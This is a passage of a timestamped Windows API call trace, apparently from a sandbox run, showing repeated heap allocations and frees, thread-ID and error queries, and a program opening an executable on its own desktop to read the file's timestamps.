Flags=0x0, Size=0x10) returned 0x2c84410 [0075.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb80 [0075.773] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb50, Size=0x14) returned 0x3183a60 [0075.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb80 | out: hHeap=0x2ad0000) returned 1 [0075.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84410 | out: hHeap=0x2ad0000) returned 1 [0075.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c846b0 | out: hHeap=0x2ad0000) returned 1 [0075.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0075.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0075.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2930 [0075.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2ab8 [0075.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdd0d8 [0075.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0075.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844a0 [0075.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844d0 [0075.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abac0 [0075.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.774] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abac0, Size=0x14) returned 0x3183ae0 [0075.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844d0 | out: hHeap=0x2ad0000) returned 1 [0075.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844a0 | out: hHeap=0x2ad0000) returned 1 [0075.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0075.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ae0 | out: hHeap=0x2ad0000) returned 1 [0075.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2ab8 | out: hHeap=0x2ad0000) returned 1 [0075.774] GetCurrentThreadId () returned 0x9b0 [0075.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845d8 [0075.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84578 [0075.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb60 [0075.775] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb50, Size=0x14) returned 0x31838a0 [0075.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0075.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84578 | out: hHeap=0x2ad0000) returned 1 [0075.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845d8 | out: hHeap=0x2ad0000) returned 1 [0075.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0075.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f36f8 [0075.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f0a90 [0075.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33c03f0 [0075.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2498 | out: hHeap=0x2ad0000) returned 1 [0075.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2dc8 [0075.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2498 [0075.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845c0 [0075.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84578 [0075.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0075.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.776] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba80, Size=0x14) returned 0x3183940 [0075.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84578 | out: hHeap=0x2ad0000) returned 1 [0075.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845c0 | out: hHeap=0x2ad0000) returned 1 [0075.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183940 | out: hHeap=0x2ad0000) returned 1 [0075.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2dc8 | out: hHeap=0x2ad0000) returned 1 [0075.776] GetCurrentThreadId () returned 0x9b0 [0075.776] GetCurrentThreadId () returned 0x9b0 [0075.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8308 | out: hHeap=0x2ad0000) returned 1 [0075.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8768 | out: hHeap=0x2ad0000) returned 1 [0075.777] GetCurrentThreadId () returned 0x9b0 [0075.777] GetCurrentThreadId () returned 0x9b0 [0075.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ab0 [0075.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ab0 | out: hHeap=0x2ad0000) returned 1 [0075.777] GetCurrentThreadId () returned 0x9b0 [0075.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x244) returned 0x33dc488 [0075.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2ab8 [0075.777] GetCurrentThreadId () returned 0x9b0 [0075.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f3880 [0075.777] GetCurrentThreadId () returned 0x9b0 [0075.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33bfde8 [0075.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f3880 | out: hHeap=0x2ad0000) returned 1 [0075.777] GetCurrentThreadId () returned 0x9b0 [0075.777] GetCurrentThreadId () returned 0x9b0 [0075.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33bd9b8 [0075.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2ab8 | out: hHeap=0x2ad0000) returned 1 [0075.777] GetCurrentThreadId () returned 0x9b0 [0075.778] GetCurrentThreadId () returned 0x9b0 [0075.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x33622f8 [0075.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33bd9b8 | out: hHeap=0x2ad0000) returned 1 [0075.778] GetCurrentThreadId () returned 0x9b0 [0075.778] GetCurrentThreadId () returned 0x9b0 [0075.778] GetCurrentThreadId () returned 0x9b0 [0075.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc00) returned 0x33d5118 [0075.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84608 [0075.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84530 [0075.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0075.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba90 [0075.778] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba80, Size=0x14) returned 0x3183ae0 [0075.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba90 | out: hHeap=0x2ad0000) returned 1 [0075.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84530 | out: hHeap=0x2ad0000) returned 1 [0075.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84608 | out: hHeap=0x2ad0000) returned 1 [0075.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ae0 | out: hHeap=0x2ad0000) returned 1 [0075.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33622f8 | out: hHeap=0x2ad0000) returned 1 [0075.779] GetCurrentThreadId () returned 0x9b0 [0075.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33da7d8 | out: hHeap=0x2ad0000) returned 1 [0075.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3461ac8 | out: hHeap=0x2ad0000) returned 1 [0075.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbfe0 | out: hHeap=0x2ad0000) returned 1 [0075.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dc488 | out: hHeap=0x2ad0000) returned 1 [0075.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.779] GetCurrentThreadId () returned 0x9b0 [0075.779] GetCurrentThreadId () returned 0x9b0 [0075.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8880 [0075.779] GetCurrentThreadId () returned 0x9b0 [0075.779] GetCurrentThreadId () returned 0x9b0 [0075.779] GetCurrentThreadId () returned 0x9b0 [0075.779] GetCurrentThreadId () returned 0x9b0 [0075.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8880 | out: hHeap=0x2ad0000) returned 1 [0075.779] GetCurrentThreadId () returned 0x9b0 [0075.780] GetCurrentThreadId () returned 0x9b0 [0075.780] GetCurrentThreadId () returned 0x9b0 [0075.780] GetLastError () returned 0x0 [0075.780] GetLastError () returned 0x0 [0075.780] GetLastError () returned 0x0 [0075.780] GetLastError () returned 0x0 [0075.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84590 | out: hHeap=0x2ad0000) returned 1 [0075.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba70 [0075.780] GetLastError () returned 0x0 [0075.780] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8158, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.780] GetFileType (hFile=0x2f4) returned 0x1 [0075.780] GetLastError () returned 0x0 [0075.780] GetCurrentThreadId () returned 0x9b0 [0075.780] GetLastError () returned 0x0 [0075.780] GetFileType (hFile=0x2f4) returned 0x1 [0075.781] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b81d4 | out: lpFileInformation=0x9b81d4) returned 1 [0075.781] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.781] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.781] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e0, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.781] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.781] FileTimeToLocalFileTime (in: lpFileTime=0x9b81d8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.781] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.781] GetLastError () returned 0x0 [0075.781] GetCurrentThreadId () returned 0x9b0 [0075.781] GetLastError () returned 0x0 [0075.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0075.781] GetLastError () returned 0x0 [0075.781] GetLastError () returned 0x0 [0075.781] GetCurrentThreadId () returned 0x9b0 [0075.781] GetLastError () returned 0x0 [0075.781] GetCurrentThreadId () returned 0x9b0 [0075.781] GetLastError () returned 0x0 [0075.782] GetLastError () returned 0x0 [0075.782] GetCurrentThreadId () returned 0x9b0 [0075.782] GetLastError () returned 0x0 [0075.782] GetCurrentThreadId () returned 0x9b0 [0075.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8f4) returned 0x33d5d20 [0075.782] GetLastError () returned 0x0 [0075.782] GetLastError () returned 0x0 [0075.783] GetCurrentThreadId () returned 0x9b0 [0075.783] GetLastError () returned 0x0 [0075.783] GetCurrentThreadId () returned 0x9b0 [0075.783] GetLastError () returned 0x0 [0075.783] GetLastError () returned 0x0 [0075.783] GetCurrentThreadId () returned 0x9b0 [0075.783] GetLastError () returned 0x0 [0075.783] GetLastError () returned 0x0 [0075.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.783] CloseHandle (hObject=0x2f4) returned 1 [0075.783] GetLastError () returned 0x0 [0075.783] GetCurrentThreadId () returned 0x9b0 [0075.783] GetLastError () returned 0x0 [0075.783] GetLastError () returned 0x0 [0075.783] GetCurrentThreadId () returned 0x9b0 [0075.783] GetLastError () returned 0x0 [0075.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d6620 | out: hHeap=0x2ad0000) returned 1 [0075.784] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32f8a68, Size=0x1530) returned 0x32f8a68 [0075.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d5d20 | out: hHeap=0x2ad0000) returned 1 [0075.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84590 [0075.784] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84590, Size=0x20) returned 0x30283f0 [0075.784] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18e60 [0075.784] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a199d8 [0075.784] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a199d8, Size=0x8c) returned 0x2ac0580 [0075.784] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0580, Size=0xb8) returned 0x325f0b0 [0075.784] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f0b0, Size=0xe8) returned 0x33d1470 [0075.784] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1470, Size=0x120) returned 0x2c37020 [0075.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37020 | out: hHeap=0x2ad0000) returned 1 [0075.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f8a68 | out: hHeap=0x2ad0000) returned 1 [0075.784] GetCurrentThreadId () returned 0x9b0 [0075.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2ab8 [0075.784] GetCurrentThreadId () returned 0x9b0 [0075.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7930 [0075.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba72a0 [0075.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8f10 [0075.785] GetCurrentThreadId () returned 0x9b0 [0075.785] GetCurrentThreadId () returned 0x9b0 [0075.785] GetCurrentThreadId () returned 0x9b0 [0075.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de8b8 [0075.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8b8 | out: hHeap=0x2ad0000) returned 1 [0075.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de688 [0075.785] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de688, Size=0x14) returned 0x3183b60 [0075.785] GetCurrentThreadId () returned 0x9b0 [0075.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b60 | out: hHeap=0x2ad0000) returned 1 [0075.785] GetCurrentThreadId () returned 0x9b0 [0075.785] GetCurrentThreadId () returned 0x9b0 [0075.785] GetCurrentThreadId () returned 0x9b0 [0075.785] GetCurrentThreadId () returned 0x9b0 [0075.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8f10 | out: hHeap=0x2ad0000) returned 1 [0075.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba72a0 | out: hHeap=0x2ad0000) returned 1 [0075.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7930 | out: hHeap=0x2ad0000) returned 1 [0075.785] GetCurrentThreadId () returned 0x9b0 [0075.785] GetCurrentThreadId () returned 0x9b0 [0075.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84530 [0075.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84530 | out: hHeap=0x2ad0000) returned 1 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x214) returned 0x2ba7298 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f3880 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84470 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844a0 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.786] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183b00 [0075.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844a0 | out: hHeap=0x2ad0000) returned 1 [0075.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84470 | out: hHeap=0x2ad0000) returned 1 [0075.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b00 | out: hHeap=0x2ad0000) returned 1 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183a60 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846e0 [0075.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb80 [0075.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.787] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb80, Size=0x14) returned 0x31838a0 [0075.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c846e0 | out: hHeap=0x2ad0000) returned 1 [0075.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0075.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0075.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2dc8 [0075.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844e8 [0075.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84428 [0075.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abac0 [0075.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0075.787] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abac0, Size=0x14) returned 0x3183ae0 [0075.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0075.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84428 | out: hHeap=0x2ad0000) returned 1 [0075.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844e8 | out: hHeap=0x2ad0000) returned 1 [0075.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ae0 | out: hHeap=0x2ad0000) returned 1 [0075.788] GetCurrentThreadId () returned 0x9b0 [0075.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.788] GetCurrentThreadId () returned 0x9b0 [0075.788] GetCurrentThreadId () returned 0x9b0 [0075.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x33d6090 [0075.788] GetCurrentThreadId () returned 0x9b0 [0075.788] GetCurrentThreadId () returned 0x9b0 [0075.788] GetCurrentThreadId () returned 0x9b0 [0075.788] GetCurrentThreadId () returned 0x9b0 [0075.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d6090 | out: hHeap=0x2ad0000) returned 1 [0075.788] GetCurrentThreadId () returned 0x9b0 [0075.788] GetCurrentThreadId () returned 0x9b0 [0075.788] GetCurrentThreadId () returned 0x9b0 [0075.788] GetLastError () returned 0x0 [0075.788] GetLastError () returned 0x0 [0075.788] GetLastError () returned 0x0 [0075.788] GetLastError () returned 0x0 [0075.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c844a0 | out: hHeap=0x2ad0000) returned 1 [0075.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba70 [0075.789] GetLastError () returned 0x0 [0075.789] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8158, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.789] GetFileType (hFile=0x2f4) returned 0x1 [0075.789] GetLastError () returned 0x0 [0075.789] GetCurrentThreadId () returned 0x9b0 [0075.789] GetLastError () returned 0x0 [0075.789] GetFileType (hFile=0x2f4) returned 0x1 [0075.789] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b81d4 | out: lpFileInformation=0x9b81d4) returned 1 [0075.789] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.789] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.789] FileTimeToLocalFileTime (in: lpFileTime=0x9b81e0, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.789] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.789] FileTimeToLocalFileTime (in: lpFileTime=0x9b81d8, lpLocalFileTime=0x9b8218 | out: lpLocalFileTime=0x9b8218) returned 1 [0075.789] FileTimeToSystemTime (in: lpFileTime=0x9b8218, lpSystemTime=0x9b8208 | out: lpSystemTime=0x9b8208) returned 1 [0075.790] GetLastError () returned 0x0 [0075.790] GetCurrentThreadId () returned 0x9b0 [0075.790] GetLastError () returned 0x0 [0075.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0075.790] GetLastError () returned 0x0 [0075.790] GetLastError () returned 0x0 [0075.790] GetCurrentThreadId () returned 0x9b0 [0075.790] GetLastError () returned 0x0 [0075.790] GetCurrentThreadId () returned 0x9b0 [0075.790] GetLastError () returned 0x0 [0075.790] GetLastError () returned 0x0 [0075.790] GetCurrentThreadId () returned 0x9b0 [0075.790] GetLastError () returned 0x0 [0075.790] GetCurrentThreadId () returned 0x9b0 [0075.790] RtlAllocateHeap (HeapHandle=0x2ad0000, 